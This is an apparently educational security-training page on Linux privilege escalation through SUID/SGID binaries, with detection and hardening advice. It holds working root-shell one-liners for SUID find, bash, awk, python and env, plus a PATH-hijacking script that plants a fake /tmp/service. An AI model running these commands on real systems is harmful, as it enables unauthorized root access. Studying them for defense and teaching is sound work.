Skip to content
Pwnversity
LIN-SUIDintermediate · 5 min · upd. 2026-10

SUID/SGID Binaries

T1548.001

The SUID (Set User ID) bit makes a binary run with the permissions of its owner, not of whoever launches it. It’s needed for certain operations (e.g. passwd writes /etc/shadow as root), but when a root SUID binary does something the attacker can redirect toward a shell, it becomes direct escalation to root. It’s one of the most common and reliable Linux privesc vectors. SGID is the group equivalent.

A root-SUID binary starts with EUID 0 (what the bit guarantees is the initial EUID at execve, not who invokes it); the binary itself can relinquish that privilege with setuid/setresuid, so it doesn’t necessarily “run as root for its whole lifetime.” If that binary allows reading/writing arbitrary files, running commands, or spawning an interpreter, the attacker diverts it to get a UID 0 shell. The attacker gains full root if the binary is a standard abusable one (cataloged in GTFOBins) or a custom binary that invokes commands insecurely.

Ventana de terminal
-rwsr-xr-x 1 root root ... /usr/bin/passwd
# ^ s in place of the owner's x = SUID; uppercase 'S' if x is missing

On execution, the kernel sets the EUID (effective UID) to the file owner’s. A key detail: modern bash and sh drop SUID privileges at startup unless -p is used, which preserves them. That’s why many exploits end in /bin/sh -p or bash -p.

Precondition to exploit: a root-SUID binary (or SGID of a privileged group) whose behavior the attacker can divert.

Ventana de terminal
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -type f \( -perm -u=s -o -perm -g=s \) -ls 2>/dev/null # both with detail

GTFOBins catalogs how to abuse each standard binary. If a SUID is there, you have the exact command (SUID section):

Ventana de terminal
find . -exec /bin/sh -p \; -quit # SUID find -> root shell
bash -p # SUID bash (preserves privileges)
awk 'BEGIN {system("/bin/sh")}' # SUID awk
python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' # SUID python
env /bin/sh -p # SUID env
# SUID cp: overwrite /etc/passwd with a UID 0 user of known hash

The -p flag is essential in bash/sh: without it, the shell drops the root EUID.

Non-standard SUID binaries (a company’s own programs) are especially juicy:

Ventana de terminal
strings /path/suid_bin # look for system(), execl, paths, commands
# NOTE: tracing as an unprivileged user makes the kernel suppress the SUID
# transition during execve, so ltrace/strace do NOT show the privileged run,
# only the control flow, commands and paths it invokes.
ltrace -f ./suid_bin 2>&1 # what it calls (no SUID privileges under ptrace)
strace -f ./suid_bin 2>&1 | grep -E 'exec|open'

If the binary calls another command without an absolute path (system("service x")), it’s vulnerable to PATH hijacking:

Ventana de terminal
export PATH=/tmp:$PATH
printf '#!/bin/sh\n/bin/bash -p\n' > /tmp/service; chmod +x /tmp/service
/path/suid_bin # runs your "service" as root
flowchart LR
    A["Root SUID binary"] -->|"system('service')"| B["Looks up 'service' in PATH"]
    B -->|"PATH=/tmp first"| C["Attacker's /tmp/service"]
    C --> D["bash -p as root"]

Other custom flaws: command injection via unsanitized arguments, read/write of controllable paths, loading libraries by relative path.

  • PwnKit — CVE-2021-4034: pkexec (polkit, SUID root) → root on almost any Linux via empty-argv handling.
  • Looney Tunables — CVE-2023-4911: overflow parsing GLIBC_TUNABLES in glibc’s ld.so when running SUID binaries → local escalation.

Always cross-reference binary + version with known CVEs; if unsure, describe the class and don’t invent.

  • auditd: rule on execution of unusual SUID binaries and on execve of EUID 0 shells spawned after a SUID; watch chmod u+s/setuid (new SUID creation).
  • FIM (AIDE, rpm -V, debsums): alert on new or modified SUID binaries against a baseline.
  • EDR: /bin/sh -p or bash -p after a SUID binary, anomalous PATH in a privileged process.
  • Audit and minimize SUID/SGID: chmod -s the ones that don’t need it; inventory why each exists.
  • Mount nosuid on /tmp, /home, /dev/shm, and external media.
  • Custom binaries: never SUID if they invoke other commands; absolute paths, input validation, least privilege (use specific capabilities instead of full SUID, see capabilities).
  • Patching (PwnKit, Looney Tunables); AppArmor/SELinux to confine.

An unexpected SUID of bash/sh or in hidden paths is usually persistence (see Persistence); compare with baseline, remove it, and review the other mechanisms.

  • List SUID/SGID (find -perm -4000/-2000)
  • Cross-reference each with GTFOBins
  • Exploit abusable standard binaries (find, bash -p, awk…)
  • Analyze custom binaries (strings/ltrace) for system()/PATH
  • PATH hijacking if they call commands without an absolute path
  • Known CVEs (PwnKit CVE-2021-4034, Looney Tunables CVE-2023-4911)
  • Verify -p to preserve privileges
  • Blue: SUID minimized, nosuid, FIM, patched?